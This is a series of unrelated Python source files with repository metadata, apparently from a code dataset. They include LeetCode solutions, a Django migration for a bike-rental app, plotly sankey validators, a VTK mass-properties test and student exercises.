db.atlanta.aggregate(school_pipeline) print 'Schools' pprint.pprint(school_result) #Colleges college_pipeline = college_pipeline() college_result = db.atlanta.aggregate(college_pipeline) print 'Colleges' pprint.pprint(college_result) #Universities university_pipeline = university_pipeline() university_result = db.atlanta.aggregate(university_pipeline) print 'Universities' pprint.pprint(university_result) #Number of records created every year timestamp_pipeline = timestamp_pipeline() timestamp_result = db.atlanta.aggregate(timestamp_pipeline) print 'Number of records created/year' pprint.pprint(timestamp_result)

[ "root@ip-10-47-174-141.ec2.internal" ]

root@ip-10-47-174-141.ec2.internal

934e170f6ff5c24743b86be8f724a5ba2956c4f5

4410498f2af839d5d086e2a57d7faadb372bba7c

/twitterOA1.py

a86365d4d0ebcfe3084d7f44847c804675e3c214

[]

no_license

Huijuan2015/MyLeetcodeSolutions

264e68c4748caac9fc9a4dc3347ae8eae7241217

6d4d078db8f3e6994db0dc25410be265459acc04

refs/heads/master

2020-04-06T05:14:29.103116

2016-11-05T21:57:27

53,628,844

0

null

UTF-8

Python

false

2,420

py

import sys from string import maketrans def mask_email(email): body = email[2:].strip() at = body.find('@') return 'E:' + body[0] + '*' * 5 + body[at-1:] def mask_phone(phone): body = phone[2:].strip() table = maketrans('', '') body = body.translate(table, '- ()') # print body if body[0] == '+': start = '+' body = body[1:] mid = '-***-***-' else: start = '' mid = '***-***-' starts = '*' * (len(body) - 10) return 'P:' + start + starts + mid + phone[-4:] for line in sys.stdin.readlines(): line = line.strip() if line[0] == 'E': print mask_email(line) else: print mask_phone(line) --------- import sys from string import maketrans def simplify(exp): if type(exp) == list: first = True nlist = [] for i in xrange(len(exp)): if type(exp[i]) == list: if first: nlist.extend(simplify(exp[i])) first = False else: nlist.append(simplify(exp[i])) else: nlist.append(exp[i]) return nlist else: return [exp] def reverse(exp): if type(exp) == list: exp = exp[::-1] for i in xrange(len(exp)): exp[i] = reverse(exp[i]) return exp return exp def parse(s): s = s.translate(maketrans('', ''), ' ') expstr, cmds = s.split('/') cmds = cmds.strip() ncmds = [] prevS = '' for cmd in cmds: if cmd == 'R' or (cmd == 'S' and prevS != cmd): ncmds.append(cmd) prevS = cmd result = [] stack = [result] for s in expstr: if s == '(': stack[-1].append([]) stack.append(stack[-1][-1]) elif s == ')': stack.pop() else: stack[-1].append(s) return result, ncmds def extract(exp): if type(exp) == list: return '(' + ''.join(map(extract, exp)) + ')' else: return exp # a = [ # # 'A/', # # 'A B /S', # # '(AB) C((DE)F)/ R', # # '(AB) C((DE)F)/ RR', # '(AB) C((DE)F)/ SSS', # ] for line in sys.stdin.readlines(): # for line in a: exp, cmds = parse(line) for cmd in cmds: if cmd == 'S': exp = simplify(exp) else: exp = reverse(exp) print extract(exp)[1:-1]

[ "huijuan1991@hotmail.com" ]

huijuan1991@hotmail.com

47a910a99248290f1384e97ff25bd0b69c23469d

bfee538514b48b3f83873c671e4bcaadf0744d69

/api/migrations/0001_initial.py

bd0b5cfbddd5550b74916de712000ea67229a801

[]

no_license

visheshdubey/Dashbike

204d9d8411e5afdf0b176b460470a1c6608b52f1

5dcb7f5d449034c61ef7dcdef246fbf4209e9e15

refs/heads/master

2023-07-27T11:35:36.071871

2021-09-12T03:03:01

178,920,077

0

null

UTF-8

Python

false

3,175

py

# Generated by Django 2.1.7 on 2019-04-06 05:49 import api.models from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('Users', '0001_initial'), ] operations = [ migrations.CreateModel( name='Bike', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('bike_name', models.CharField(default='type..', max_length=500)), ('image', models.ImageField(default='def.jpg', upload_to=api.models.scramble_uploaded_filename, verbose_name='media')), ('thumbnail', models.ImageField(blank=True, default='defthumb.jpg', upload_to='', verbose_name='Thumbnail of uploaded image')), ], ), migrations.CreateModel( name='BikeModel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('description', models.CharField(default='type..', max_length=500)), ('count', models.IntegerField(default=0)), ('bike_rate_hr', models.CharField(blank=True, max_length=500, null=True)), ('bike_rate_h', models.CharField(blank=True, max_length=500, null=True)), ('bike_rate_f', models.CharField(blank=True, max_length=500, null=True)), ('bike_isAvailable', models.BooleanField(default=True)), ('isActive', models.BooleanField(default=True)), ('bike_model', models.ForeignKey(default=None, on_delete=django.db.models.deletion.PROTECT, to='api.Bike')), ('dealer', models.ForeignKey(default=None, on_delete=django.db.models.deletion.CASCADE, to='Users.DealerDetail')), ], ), migrations.CreateModel( name='Booking', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('pickup_time', models.DateTimeField(default=None)), ('dob', models.DateTimeField(default=None)), ('duration', models.CharField(default=0.0, max_length=500)), ('transaction_amt', models.CharField(default=0.0, max_length=500)), ('ord_id', models.CharField(default=0.0, max_length=500)), ('transaction_id', models.CharField(default=0.0, max_length=500)), ('is_accepted', models.BooleanField(default=False)), ('is_cancelled', models.BooleanField(default=False)), ('is_Booked', models.BooleanField(default=False)), ('bike_model', models.ForeignKey(default=None, on_delete=django.db.models.deletion.CASCADE, to='api.BikeModel')), ('client', models.ForeignKey(default=None, on_delete=django.db.models.deletion.CASCADE, to='Users.ClientDetail')), ('dealer', models.ForeignKey(default=None, on_delete=django.db.models.deletion.CASCADE, to='Users.DealerDetail')), ], ), ]

[ "you@example.com" ]

you@example.com

5740cc781e591bcf9a64ae8aec6619af8f1be9d9

010279e2ba272d09e9d2c4e903722e5faba2cf7a

/contrib/python/plotly/py2/plotly/validators/sankey/node/hoverlabel/__init__.py

97dbaf78fea9dc475698f08381ca03fa4d8e4827

[ "Apache-2.0", "MIT" ]

permissive

catboost/catboost

854c1a1f439a96f1ae6b48e16644be20aa04dba2

f5042e35b945aded77b23470ead62d7eacefde92

refs/heads/master

2023-09-01T12:14:14.174108

2023-09-01T10:01:01

2023-09-01T10:22:12

97,556,265

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Apache-2.0

2023-09-11T03:32:32

2017-07-18T05:29:04

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Python

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import _plotly_utils.basevalidators class NamelengthsrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__( self, plotly_name="namelengthsrc", parent_name="sankey.node.hoverlabel", **kwargs ): super(NamelengthsrcValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "none"), role=kwargs.pop("role", "info"), **kwargs ) import _plotly_utils.basevalidators class NamelengthValidator(_plotly_utils.basevalidators.IntegerValidator): def __init__( self, plotly_name="namelength", parent_name="sankey.node.hoverlabel", **kwargs ): super(NamelengthValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, array_ok=kwargs.pop("array_ok", True), edit_type=kwargs.pop("edit_type", "calc"), min=kwargs.pop("min", -1), role=kwargs.pop("role", "style"), **kwargs ) import _plotly_utils.basevalidators class FontValidator(_plotly_utils.basevalidators.CompoundValidator): def __init__( self, plotly_name="font", parent_name="sankey.node.hoverlabel", **kwargs ): super(FontValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, data_class_str=kwargs.pop("data_class_str", "Font"), data_docs=kwargs.pop( "data_docs", """ color colorsrc Sets the source reference on Chart Studio Cloud for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The Chart Studio Cloud (at https://chart-studio.plotly.com or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on Chart Studio Cloud for family . size sizesrc Sets the source reference on Chart Studio Cloud for size . """, ), **kwargs ) import _plotly_utils.basevalidators class BordercolorsrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__( self, plotly_name="bordercolorsrc", parent_name="sankey.node.hoverlabel", **kwargs ): super(BordercolorsrcValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "none"), role=kwargs.pop("role", "info"), **kwargs ) import _plotly_utils.basevalidators class BordercolorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name="bordercolor", parent_name="sankey.node.hoverlabel", **kwargs ): super(BordercolorValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, array_ok=kwargs.pop("array_ok", True), edit_type=kwargs.pop("edit_type", "calc"), role=kwargs.pop("role", "style"), **kwargs ) import _plotly_utils.basevalidators class BgcolorsrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__( self, plotly_name="bgcolorsrc", parent_name="sankey.node.hoverlabel", **kwargs ): super(BgcolorsrcValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "none"), role=kwargs.pop("role", "info"), **kwargs ) import _plotly_utils.basevalidators class BgcolorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name="bgcolor", parent_name="sankey.node.hoverlabel", **kwargs ): super(BgcolorValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, array_ok=kwargs.pop("array_ok", True), edit_type=kwargs.pop("edit_type", "calc"), role=kwargs.pop("role", "style"), **kwargs ) import _plotly_utils.basevalidators class AlignsrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__( self, plotly_name="alignsrc", parent_name="sankey.node.hoverlabel", **kwargs ): super(AlignsrcValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "none"), role=kwargs.pop("role", "info"), **kwargs ) import _plotly_utils.basevalidators class AlignValidator(_plotly_utils.basevalidators.EnumeratedValidator): def __init__( self, plotly_name="align", parent_name="sankey.node.hoverlabel", **kwargs ): super(AlignValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, array_ok=kwargs.pop("array_ok", True), edit_type=kwargs.pop("edit_type", "calc"), role=kwargs.pop("role", "style"), values=kwargs.pop("values", ["left", "right", "auto"]), **kwargs )

[ "robot-piglet@yandex-team.com" ]

robot-piglet@yandex-team.com

6f1688c722ecdbc98b0e43a88f1b44403696a034

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/moodledata/vpl_data/49/usersdata/91/18060/submittedfiles/pico.py

24ae75a9ef09d94bf4615d5fc052c73af71e91f6

[]

no_license

rafaelperazzo/programacao-web

95643423a35c44613b0f64bed05bd34780fe2436

170dd5440afb9ee68a973f3de13a99aa4c735d79

refs/heads/master

2021-01-12T14:06:25.773146

2017-12-22T16:05:45

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0

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py

# -*- coding: utf-8 -*- from __future__ import division def pico(lista): posicao=0 for i in range (0,len(lista)-1,1): if lista[i]>lista[i+1]: posicao=i break cont=0 for i in range (posicao,len(lista)-1,1): if lista[i]<lista[i+1]: cont+=1 if cont==0 and posicao!=0: return True else: return False n = input('Digite a quantidade de elementos da lista: ') a=[] for i in range (0,n,1): a.append(input('digite a:')) if pico(a): print('S') else: print('N')

[ "rafael.mota@ufca.edu.br" ]

rafael.mota@ufca.edu.br

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6a433931dd544e2d9f2b18cff3ce096531b15941

/for_loop_sum.py

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[]

no_license

lunatic-7/python_course_noob-git-

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2023-08-04T06:55:05.473812

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# sum from 1 to 10 # 1 + 2 + 3 + ............. 10 # total = 0 # for i in range(1,11): # total += i # print(total) # take input from user. n = int(input("enter a number : ")) total = 0 for i in range(1,n+1): total += i print(total)

[ "wasif1607@gmail.com" ]

wasif1607@gmail.com

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/81_Search_in_Rotated_Sorted_Array_II.py

880660e9f25e4a6c94f1ec6ef80ea37cb6c242c8

[]

no_license

GuangyuZheng/leet_code_python

43b984ce98cc889a7e07151004d347cb03b2d9b2

266def94df8245f90ea5b6885fc472470b189e51

refs/heads/master

2020-09-05T18:12:07.649374

2020-02-22T09:37:59

220,177,486

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from typing import List class Solution: def search(self, nums: List[int], target: int) -> bool: n = len(nums) start, end = 0, n-1 while start <= end: mid = (start + end)//2 if nums[mid] == target: return True if nums[start] == nums[mid] == nums[end]: start += 1 end -= 1 continue if nums[start] <= nums[mid]: if nums[start] <= target < nums[mid]: end = mid - 1 else: start = mid + 1 else: if nums[mid] < target <= nums[end]: start = mid + 1 else: end = mid - 1 return False

[ "583621555@qq.com" ]

583621555@qq.com

37ff904c75ff61fe30e0c84cb5bae9b4da25e2d2

15f321878face2af9317363c5f6de1e5ddd9b749

/solutions_python/Problem_207/445.py

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[]

no_license

dr-dos-ok/Code_Jam_Webscraper

c06fd59870842664cd79c41eb460a09553e1c80a

26a35bf114a3aa30fc4c677ef069d95f41665cc0

refs/heads/master

2020-04-06T08:17:40.938460

2018-10-14T10:12:47

null

0

null

UTF-8

Python

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735

py

def get_result(R, O, Y, G, B, V): assert O == 0 assert G == 0 assert V == 0 max_cnt = max(R, Y, B) if Y + B < max_cnt or R + B < max_cnt or R + Y < max_cnt: return "IMPOSSIBLE" cnts = [(R, "R"), (B, "B"), (Y, "Y")] cnts = sorted(cnts, key=lambda x:x[0], reverse=True) s = [""] * (3 * max_cnt) for i in range(cnts[0][0]): s[3 * i] = cnts[0][1] for i in range(cnts[1][0]): s[3 * i + 1] = cnts[1][1] for i in range(cnts[2][0]): s[3 * max_cnt - 1 - 3 * i] = cnts[2][1] return "".join(s) num_tests = int(input()) for test_id in range(1, num_tests + 1): N, R, O, Y, G, B, V = map(int, input().strip().split()) res = get_result(R, O, Y, G, B, V) print("Case #{0}: {1}".format(test_id, res))

[ "miliar1732@gmail.com" ]

miliar1732@gmail.com

d53dfb47d2536f19b23f7013ea42ec26c225353e

3ff660941132bcaed5bfe309861843bd6657ee37

/Trees/Print right side.py

b8760b5988ef7e07e1d95586be794cfaa5781333

[]

no_license

mrunalhirve12/Interviews2

04295cebe1946de1f310857d7fbded11a02f8eb1

c48bd0a4e1112804da8bdf2d7e43ab0f2ef00469

refs/heads/master

2023-03-26T14:35:06.029701

2021-03-25T21:31:46

351,593,537

0

null

UTF-8

Python

false

1,497

py

""" Given a binary tree, imagine yourself standing on the right side of it, return the values of the nodes you can see ordered from top to bottom. Example: Input: [1,2,3,null,5,null,4] Output: [1, 3, 4] Explanation: 1 <--- / \ 2 3 <--- \ \ 5 4 <--- """ # Definition for a binary tree node. class TreeNode(object): def __init__(self, x): self.val = x self.left = None self.right = None class Solution(object): def rightSideView(self, root): """ :type root: TreeNode :rtype: List[int] """ # res list res = [] # call the dfs function with parameters as root, length of tree and res array self.dfs(root, 0, res) # return res return res def dfs(self, root, level, res): # if not root return empty if not root: return # here we only append if the level and res same, so first node (since we call right subtree first) it gets appended if len(res) == level: res.append(root.val) # call the right & left subtree first, increment levels using recursion self.dfs(root.right, level + 1, res) self.dfs(root.left, level + 1, res) # Driver program to test above function # Let us construct the BST shown in the figure root = TreeNode(3) root.left = TreeNode(9) root.right = TreeNode(20) root.left.left = TreeNode(15) s = Solution() print(s.rightSideView(root))

[ "mrunalhirve@gmail.com" ]

mrunalhirve@gmail.com

1bd8bc7fe24bf5d53d09e0a91e38a3bc344e4337

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/Quintana_Jerrod/Assignments/python_fundamentals/coin_tosses.py

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[ "MIT" ]

permissive

curest0x1021/Python-Django-Web

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refs/heads/master

2020-04-26T17:14:20.277967

2016-10-18T21:54:39

173,706,702

6

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py

head = 0 tail = 0 import random for element in range (1, 5001): toss = round(random.random()) if (toss == 1): head += 1 toss_text='head' else: tail += 1 toss_text = 'tail' print "Attempt #{}: Throwing a coin... It's a {}! ... Got {} head(s) so far and {} tail(s) so far".format(element,toss_text,head,tail) print 'Ending the program, thank you!'

[ "43941751+curest0x1021@users.noreply.github.com" ]

43941751+curest0x1021@users.noreply.github.com

5d1e945d40520440e25f880459d35743a8ad7393

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/Filters/Core/Testing/Python/MassProperties.py

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[ "BSD-3-Clause" ]

permissive

t3dbrida/VTK

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refs/heads/master

2023-08-31T21:01:58.375533

2019-09-23T06:43:00

139,547,456

2

0

NOASSERTION

2019-11-22T14:46:48

2018-07-03T07:49:14

C++

UTF-8

Python

false

4,779

py

#!/usr/bin/env python # -*- coding: utf-8 -*- ''' ========================================================================= Program: Visualization Toolkit Module: TestNamedColorsIntegration.py Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. ========================================================================= ''' import StringIO import sys import vtk import vtk.test.Testing from vtk.util.misc import vtkGetDataRoot VTK_DATA_ROOT = vtkGetDataRoot() class MassProperties(vtk.test.Testing.vtkTest): def testMassProperties(self): # Create the RenderWindow, Renderer and both Actors # ren = vtk.vtkRenderer() renWin = vtk.vtkRenderWindow() renWin.AddRenderer(ren) cone = vtk.vtkConeSource() cone.SetResolution(50) sphere = vtk.vtkSphereSource() sphere.SetPhiResolution(50) sphere.SetThetaResolution(50) cube = vtk.vtkCubeSource() cube.SetXLength(1) cube.SetYLength(1) cube.SetZLength(1) sphereMapper = vtk.vtkPolyDataMapper() sphereMapper.SetInputConnection(sphere.GetOutputPort()) sphereActor = vtk.vtkActor() sphereActor.SetMapper(sphereMapper) sphereActor.GetProperty().SetDiffuseColor(1, .2, .4) coneMapper = vtk.vtkPolyDataMapper() coneMapper.SetInputConnection(cone.GetOutputPort()) coneActor = vtk.vtkActor() coneActor.SetMapper(coneMapper) coneActor.GetProperty().SetDiffuseColor(.2, .4, 1) cubeMapper = vtk.vtkPolyDataMapper() cubeMapper.SetInputConnection(cube.GetOutputPort()) cubeActor = vtk.vtkActor() cubeActor.SetMapper(cubeMapper) cubeActor.GetProperty().SetDiffuseColor(.2, 1, .4) #Add the actors to the renderer, set the background and size # sphereActor.SetPosition(-5, 0, 0) ren.AddActor(sphereActor) coneActor.SetPosition(0, 0, 0) ren.AddActor(coneActor) coneActor.SetPosition(5, 0, 0) ren.AddActor(cubeActor) tf = dict() mp = dict() vt = dict() pdm = dict() ta = dict() def MakeText(primitive): tf.update({primitive: vtk.vtkTriangleFilter()}) tf[primitive].SetInputConnection(primitive.GetOutputPort()) mp.update({primitive: vtk.vtkMassProperties()}) mp[primitive].SetInputConnection(tf[primitive].GetOutputPort()) # here we capture stdout and write it to a variable for processing. summary = StringIO.StringIO() # save the original stdout old_stdout = sys.stdout sys.stdout = summary print mp[primitive] summary = summary.getvalue() startSum = summary.find(" VolumeX") endSum = len(summary) print summary[startSum:] # Restore stdout sys.stdout = old_stdout vt.update({primitive: vtk.vtkVectorText()}) vt[primitive].SetText(summary[startSum:]) pdm.update({primitive: vtk.vtkPolyDataMapper()}) pdm[primitive].SetInputConnection(vt[primitive].GetOutputPort()) ta.update({primitive: vtk.vtkActor()}) ta[primitive].SetMapper(pdm[primitive]) ta[primitive].SetScale(.2, .2, .2) return ta[primitive] ren.AddActor(MakeText(sphere)) ren.AddActor(MakeText(cube)) ren.AddActor(MakeText(cone)) ta[sphere].SetPosition(sphereActor.GetPosition()) ta[sphere].AddPosition(-2, -1, 0) ta[cube].SetPosition(cubeActor.GetPosition()) ta[cube].AddPosition(-2, -1, 0) ta[cone].SetPosition(coneActor.GetPosition()) ta[cone].AddPosition(-2, -1, 0) ren.SetBackground(0.1, 0.2, 0.4) renWin.SetSize(786, 256) # render the image # ren.ResetCamera() cam1 = ren.GetActiveCamera() cam1.Dolly(3) ren.ResetCameraClippingRange() # render and interact with data iRen = vtk.vtkRenderWindowInteractor() iRen.SetRenderWindow(renWin); renWin.Render() img_file = "MassProperties.png" vtk.test.Testing.compareImage(iRen.GetRenderWindow(), vtk.test.Testing.getAbsImagePath(img_file), threshold=25) vtk.test.Testing.interact() if __name__ == "__main__": vtk.test.Testing.main([(MassProperties, 'test')])

[ "nikhil.shetty@kitware.com" ]

nikhil.shetty@kitware.com

b589b99088f59ac54b08810c679c36224ffbb831

b00b570c551044438c0cc2f10d13458dc06d7613

/blog/manage.py

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no_license

shiretree/Blog

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9ed94c4a59468c2dea30c17cfdfe396f3e1e40b9

refs/heads/master

2020-08-18T18:33:39.991254

2019-10-25T15:31:35

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py

#!/usr/bin/env python import os import sys if __name__ == "__main__": profile = os.environ.get('blog_PROFILE','develop') os.environ.setdefault("DJANGO_SETTINGS_MODULE", "blog.setting.%s" %profile) try: from django.core.management import execute_from_command_line except ImportError: # The above import may fail for some other reason. Ensure that the # issue is really that Django is missing to avoid masking other # exceptions on Python 2. try: import django except ImportError: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) raise execute_from_command_line(sys.argv)

[ "email" ]

email

237d8804034a2eb54bcae35783ec451375f13cef

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/IronPythonStubs/release/stubs.min/System/Security/AccessControl_parts/SemaphoreAuditRule.py

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[ "MIT" ]

permissive

shnlmn/Rhino-Grasshopper-Scripts

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refs/heads/master

2020-04-10T18:59:43.518140

2020-04-08T02:49:07

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class SemaphoreAuditRule(AuditRule): """ Represents a set of access rights to be audited for a user or group. This class cannot be inherited. SemaphoreAuditRule(identity: IdentityReference,eventRights: SemaphoreRights,flags: AuditFlags) """ @staticmethod def __new__(self,identity,eventRights,flags): """ __new__(cls: type,identity: IdentityReference,eventRights: SemaphoreRights,flags: AuditFlags) """ pass AccessMask=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets the access mask for this rule. """ SemaphoreRights=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets the access rights affected by the audit rule. Get: SemaphoreRights(self: SemaphoreAuditRule) -> SemaphoreRights """

[ "magnetscoil@gmail.com" ]

magnetscoil@gmail.com

bc1dbcc61274452333d727b7e2e93d0812fbc166

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/problems/725. Split Linked List in Parts/2 - Hash Table.py

297fd75088427c8359ee2f838bbe5019b7190014

[]

no_license

Vasilic-Maxim/LeetCode-Problems

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refs/heads/master

2021-07-10T22:03:29.327658

2021-06-07T12:42:52

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from typing import List, Any class ListNode: def __init__(self, val=0, next=None): self.val = val self.next = next class Solution: def splitListToParts(self, root: ListNode, k: int) -> List[Any]: """ We always pay with time proportional to O(n + k). The worst case arises when k > n. Time: O(n + k) Space: O(n + k) """ ids = [] while root is not None: ids.append(root) root = root.next result = [None] * k div, mod = divmod(len(ids), k) start = 0 for i in range(k): if start < len(ids): result[i] = ids[start] start += div + (mod > 0) ids[start - 1].next = None mod -= 1 return result

[ "lmantenl@gmail.com" ]

lmantenl@gmail.com

788645067729b6ef213aed8af530ea537fe1dbbd

f90bb6e4a0d47c2c78362e431b47f74395bd42dd

/BitwiseORofSubarray.py

86117d5012ccf447c11b90a59621899ac47e9c1f

[]

no_license

sainihimanshu1999/Dynamic-Programming

bc8811d10625af3bc4b81a4eb219b9b84f4e6821

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refs/heads/main

2023-04-20T13:53:53.031324

2021-05-15T18:03:45

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0

null

UTF-8

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519

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''' Bitwise or compares each bit of the number and return 1 when one of the bit is one of two numbers. In this question we are making at list of set of the existing numbers and, then calculating the or of last number with previous number and then saving the value in a set ''' def bitWiseOr(self,nums): table = [set(nums[i]) for i in range(len(nums))] for i in range(1,len(nums)): for pre in table[i-1]: table[i].add(nums[i]|pre) return len(set.union(*table)) if len(nums)>0 else 0

[ "sainihimanshu.1999@gmail.com" ]

sainihimanshu.1999@gmail.com